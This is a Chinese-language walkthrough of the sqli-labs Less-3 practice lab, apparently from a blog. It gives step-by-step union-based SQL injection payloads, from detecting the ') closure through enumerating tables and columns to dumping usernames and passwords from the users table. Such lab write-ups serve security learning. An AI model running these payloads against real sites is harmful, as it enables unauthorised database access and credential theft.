SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
Star Learning Python1 天前
面试中要求“熟练掌握SQL”
sql·面试·职场和发展
m0_748252381 天前
Servlet 数据库访问
数据库·servlet
liux35281 天前
MySQL事务机制深度解析:从理论到实践(五)
数据库·mysql
二哈喇子!1 天前
MySQL和Navicat怎么连接
数据库·mysql·navicat
静听山水1 天前
StarRocks vs MySQL 全面深度对比
数据库
文亭湖畔程序猿1 天前
PVE 基础环境初始化与 Debian Cloud-Init 部署记录
网络·数据库·debian
山峰哥1 天前
数据库工程实战:一招实现 SQL 查询速度 10 倍提升
android·数据库·sql·编辑器·深度优先
中环留念1 天前
MySQL的索引语法详解
数据库·mysql·索引
java_logo1 天前
MySQL Docker 容器化部署全指南
数据库·mysql·docker·mysql部署·mysql部署文档·mysql部署方案·mysql部署手册